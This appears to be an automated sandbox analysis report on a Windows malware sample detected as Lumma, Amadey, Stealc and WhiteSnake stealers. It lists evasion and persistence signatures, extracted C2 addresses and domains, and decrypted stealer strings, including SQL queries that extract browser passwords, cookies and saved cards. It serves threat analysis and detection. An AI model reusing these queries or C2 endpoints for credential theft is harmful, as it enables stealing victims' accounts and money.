Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1545806
MD5: ec6bf4a264e7ef670873ef017d9f1c00
SHA1: 1264fcb7c7ba47274b84479176b5d4408b5a28fb
SHA256: 2ab02de37a3ef20dff2abb365711aabe7e99858c43e7eb0a2b88b8928ee3a327
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected AntiVM3
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
Yara detected WhiteSnake Stealer
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
PE file has a writeable .text section
Potentially malicious time measurement code found
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Writes to foreign memory regions
Yara detected Costura Assembly Loader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Avira: detection malicious, Label: HEUR/AGEN.1323674
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe Avira: detection malicious, Label: HEUR/AGEN.1323674
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000005.00000003.2081884268.0000000005560000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 35.2.num.exe.d00000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: file.exe.7304.0.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["founpiuer.store", "presticitpo.store", "thumbystriw.store", "fadehairucw.store", "crisiwarny.store", "necklacedmny.store", "scriptyprefej.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe ReversingLabs: Detection: 95%
Multi AV Scanner detection for submitted file
Source: file.exe Virustotal: Detection: 52% Perma Link
Source: file.exe ReversingLabs: Detection: 39%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.8% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 35.2.num.exe.d00000.0.unpack String decryptor: INSERT_KEY_HERE
Source: 35.2.num.exe.d00000.0.unpack String decryptor: 30
Source: 35.2.num.exe.d00000.0.unpack String decryptor: 11
Source: 35.2.num.exe.d00000.0.unpack String decryptor: 20
Source: 35.2.num.exe.d00000.0.unpack String decryptor: 24
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetProcAddress
Source: 35.2.num.exe.d00000.0.unpack String decryptor: LoadLibraryA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: lstrcatA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: OpenEventA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CreateEventA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CloseHandle
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Sleep
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetUserDefaultLangID
Source: 35.2.num.exe.d00000.0.unpack String decryptor: VirtualAllocExNuma
Source: 35.2.num.exe.d00000.0.unpack String decryptor: VirtualFree
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetSystemInfo
Source: 35.2.num.exe.d00000.0.unpack String decryptor: VirtualAlloc
Source: 35.2.num.exe.d00000.0.unpack String decryptor: HeapAlloc
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetComputerNameA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: lstrcpyA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetProcessHeap
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetCurrentProcess
Source: 35.2.num.exe.d00000.0.unpack String decryptor: lstrlenA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: ExitProcess
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GlobalMemoryStatusEx
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetSystemTime
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SystemTimeToFileTime
Source: 35.2.num.exe.d00000.0.unpack String decryptor: advapi32.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: gdi32.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: user32.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: crypt32.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: ntdll.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetUserNameA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CreateDCA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetDeviceCaps
Source: 35.2.num.exe.d00000.0.unpack String decryptor: ReleaseDC
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CryptStringToBinaryA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: sscanf
Source: 35.2.num.exe.d00000.0.unpack String decryptor: VMwareVMware
Source: 35.2.num.exe.d00000.0.unpack String decryptor: HAL9TH
Source: 35.2.num.exe.d00000.0.unpack String decryptor: JohnDoe
Source: 35.2.num.exe.d00000.0.unpack String decryptor: DISPLAY
Source: 35.2.num.exe.d00000.0.unpack String decryptor: %hu/%hu/%hu
Source: 35.2.num.exe.d00000.0.unpack String decryptor: http://185.215.113.206
Source: 35.2.num.exe.d00000.0.unpack String decryptor: bksvnsj
Source: 35.2.num.exe.d00000.0.unpack String decryptor: /6c4adf523b719729.php
Source: 35.2.num.exe.d00000.0.unpack String decryptor: /746f34465cf17784/
Source: 35.2.num.exe.d00000.0.unpack String decryptor: tale
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetEnvironmentVariableA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetFileAttributesA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GlobalLock
Source: 35.2.num.exe.d00000.0.unpack String decryptor: HeapFree
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetFileSize
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GlobalSize
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CreateToolhelp32Snapshot
Source: 35.2.num.exe.d00000.0.unpack String decryptor: IsWow64Process
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Process32Next
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetLocalTime
Source: 35.2.num.exe.d00000.0.unpack String decryptor: FreeLibrary
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetTimeZoneInformation
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetSystemPowerStatus
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetVolumeInformationA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetWindowsDirectoryA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Process32First
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetLocaleInfoA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetUserDefaultLocaleName
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetModuleFileNameA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: DeleteFileA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: FindNextFileA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: LocalFree
Source: 35.2.num.exe.d00000.0.unpack String decryptor: FindClose
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SetEnvironmentVariableA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: LocalAlloc
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetFileSizeEx
Source: 35.2.num.exe.d00000.0.unpack String decryptor: ReadFile
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SetFilePointer
Source: 35.2.num.exe.d00000.0.unpack String decryptor: WriteFile
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CreateFileA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: FindFirstFileA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CopyFileA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: VirtualProtect
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetLastError
Source: 35.2.num.exe.d00000.0.unpack String decryptor: lstrcpynA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: MultiByteToWideChar
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GlobalFree
Source: 35.2.num.exe.d00000.0.unpack String decryptor: WideCharToMultiByte
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GlobalAlloc
Source: 35.2.num.exe.d00000.0.unpack String decryptor: OpenProcess
Source: 35.2.num.exe.d00000.0.unpack String decryptor: TerminateProcess
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetCurrentProcessId
Source: 35.2.num.exe.d00000.0.unpack String decryptor: gdiplus.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: ole32.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: bcrypt.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: wininet.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: shlwapi.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: shell32.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: psapi.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: rstrtmgr.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CreateCompatibleBitmap
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SelectObject
Source: 35.2.num.exe.d00000.0.unpack String decryptor: BitBlt
Source: 35.2.num.exe.d00000.0.unpack String decryptor: DeleteObject
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CreateCompatibleDC
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GdipGetImageEncodersSize
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GdipGetImageEncoders
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GdiplusStartup
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GdiplusShutdown
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GdipSaveImageToStream
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GdipDisposeImage
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GdipFree
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetHGlobalFromStream
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CreateStreamOnHGlobal
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CoUninitialize
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CoInitialize
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CoCreateInstance
Source: 35.2.num.exe.d00000.0.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 35.2.num.exe.d00000.0.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 35.2.num.exe.d00000.0.unpack String decryptor: BCryptDecrypt
Source: 35.2.num.exe.d00000.0.unpack String decryptor: BCryptSetProperty
Source: 35.2.num.exe.d00000.0.unpack String decryptor: BCryptDestroyKey
Source: 35.2.num.exe.d00000.0.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetWindowRect
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetDesktopWindow
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetDC
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CloseWindow
Source: 35.2.num.exe.d00000.0.unpack String decryptor: wsprintfA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: EnumDisplayDevicesA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetKeyboardLayoutList
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CharToOemW
Source: 35.2.num.exe.d00000.0.unpack String decryptor: wsprintfW
Source: 35.2.num.exe.d00000.0.unpack String decryptor: RegQueryValueExA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: RegEnumKeyExA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: RegOpenKeyExA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: RegCloseKey
Source: 35.2.num.exe.d00000.0.unpack String decryptor: RegEnumValueA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CryptBinaryToStringA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CryptUnprotectData
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SHGetFolderPathA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: ShellExecuteExA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: InternetOpenUrlA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: InternetConnectA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: InternetCloseHandle
Source: 35.2.num.exe.d00000.0.unpack String decryptor: InternetOpenA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: HttpSendRequestA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: HttpOpenRequestA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: InternetReadFile
Source: 35.2.num.exe.d00000.0.unpack String decryptor: InternetCrackUrlA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: StrCmpCA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: StrStrA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: StrCmpCW
Source: 35.2.num.exe.d00000.0.unpack String decryptor: PathMatchSpecA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: GetModuleFileNameExA
Source: 35.2.num.exe.d00000.0.unpack String decryptor: RmStartSession
Source: 35.2.num.exe.d00000.0.unpack String decryptor: RmRegisterResources
Source: 35.2.num.exe.d00000.0.unpack String decryptor: RmGetList
Source: 35.2.num.exe.d00000.0.unpack String decryptor: RmEndSession
Source: 35.2.num.exe.d00000.0.unpack String decryptor: sqlite3_open
Source: 35.2.num.exe.d00000.0.unpack String decryptor: sqlite3_prepare_v2
Source: 35.2.num.exe.d00000.0.unpack String decryptor: sqlite3_step
Source: 35.2.num.exe.d00000.0.unpack String decryptor: sqlite3_column_text
Source: 35.2.num.exe.d00000.0.unpack String decryptor: sqlite3_finalize
Source: 35.2.num.exe.d00000.0.unpack String decryptor: sqlite3_close
Source: 35.2.num.exe.d00000.0.unpack String decryptor: sqlite3_column_bytes
Source: 35.2.num.exe.d00000.0.unpack String decryptor: sqlite3_column_blob
Source: 35.2.num.exe.d00000.0.unpack String decryptor: encrypted_key
Source: 35.2.num.exe.d00000.0.unpack String decryptor: PATH
Source: 35.2.num.exe.d00000.0.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: NSS_Init
Source: 35.2.num.exe.d00000.0.unpack String decryptor: NSS_Shutdown
Source: 35.2.num.exe.d00000.0.unpack String decryptor: PK11_GetInternalKeySlot
Source: 35.2.num.exe.d00000.0.unpack String decryptor: PK11_FreeSlot
Source: 35.2.num.exe.d00000.0.unpack String decryptor: PK11_Authenticate
Source: 35.2.num.exe.d00000.0.unpack String decryptor: PK11SDR_Decrypt
Source: 35.2.num.exe.d00000.0.unpack String decryptor: C:\ProgramData\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 35.2.num.exe.d00000.0.unpack String decryptor: browser:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: profile:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: url:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: login:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: password:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Opera
Source: 35.2.num.exe.d00000.0.unpack String decryptor: OperaGX
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Network
Source: 35.2.num.exe.d00000.0.unpack String decryptor: cookies
Source: 35.2.num.exe.d00000.0.unpack String decryptor: .txt
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 35.2.num.exe.d00000.0.unpack String decryptor: TRUE
Source: 35.2.num.exe.d00000.0.unpack String decryptor: FALSE
Source: 35.2.num.exe.d00000.0.unpack String decryptor: autofill
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SELECT name, value FROM autofill
Source: 35.2.num.exe.d00000.0.unpack String decryptor: history
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 35.2.num.exe.d00000.0.unpack String decryptor: cc
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 35.2.num.exe.d00000.0.unpack String decryptor: name:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: month:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: year:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: card:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Cookies
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Login Data
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Web Data
Source: 35.2.num.exe.d00000.0.unpack String decryptor: History
Source: 35.2.num.exe.d00000.0.unpack String decryptor: logins.json
Source: 35.2.num.exe.d00000.0.unpack String decryptor: formSubmitURL
Source: 35.2.num.exe.d00000.0.unpack String decryptor: usernameField
Source: 35.2.num.exe.d00000.0.unpack String decryptor: encryptedUsername
Source: 35.2.num.exe.d00000.0.unpack String decryptor: encryptedPassword
Source: 35.2.num.exe.d00000.0.unpack String decryptor: guid
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 35.2.num.exe.d00000.0.unpack String decryptor: cookies.sqlite
Source: 35.2.num.exe.d00000.0.unpack String decryptor: formhistory.sqlite
Source: 35.2.num.exe.d00000.0.unpack String decryptor: places.sqlite
Source: 35.2.num.exe.d00000.0.unpack String decryptor: plugins
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Local Extension Settings
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Sync Extension Settings
Source: 35.2.num.exe.d00000.0.unpack String decryptor: IndexedDB
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Opera Stable
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Opera GX Stable
Source: 35.2.num.exe.d00000.0.unpack String decryptor: CURRENT
Source: 35.2.num.exe.d00000.0.unpack String decryptor: chrome-extension_
Source: 35.2.num.exe.d00000.0.unpack String decryptor: _0.indexeddb.leveldb
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Local State
Source: 35.2.num.exe.d00000.0.unpack String decryptor: profiles.ini
Source: 35.2.num.exe.d00000.0.unpack String decryptor: chrome
Source: 35.2.num.exe.d00000.0.unpack String decryptor: opera
Source: 35.2.num.exe.d00000.0.unpack String decryptor: firefox
Source: 35.2.num.exe.d00000.0.unpack String decryptor: wallets
Source: 35.2.num.exe.d00000.0.unpack String decryptor: %08lX%04lX%lu
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 35.2.num.exe.d00000.0.unpack String decryptor: ProductName
Source: 35.2.num.exe.d00000.0.unpack String decryptor: x32
Source: 35.2.num.exe.d00000.0.unpack String decryptor: x64
Source: 35.2.num.exe.d00000.0.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 35.2.num.exe.d00000.0.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 35.2.num.exe.d00000.0.unpack String decryptor: ProcessorNameString
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 35.2.num.exe.d00000.0.unpack String decryptor: DisplayName
Source: 35.2.num.exe.d00000.0.unpack String decryptor: DisplayVersion
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Network Info:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - IP: IP?
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - Country: ISO?
Source: 35.2.num.exe.d00000.0.unpack String decryptor: System Summary:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - HWID:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - OS:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - Architecture:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - UserName:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - Computer Name:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - Local Time:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - UTC:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - Language:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - Keyboards:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - Laptop:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - Running Path:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - CPU:
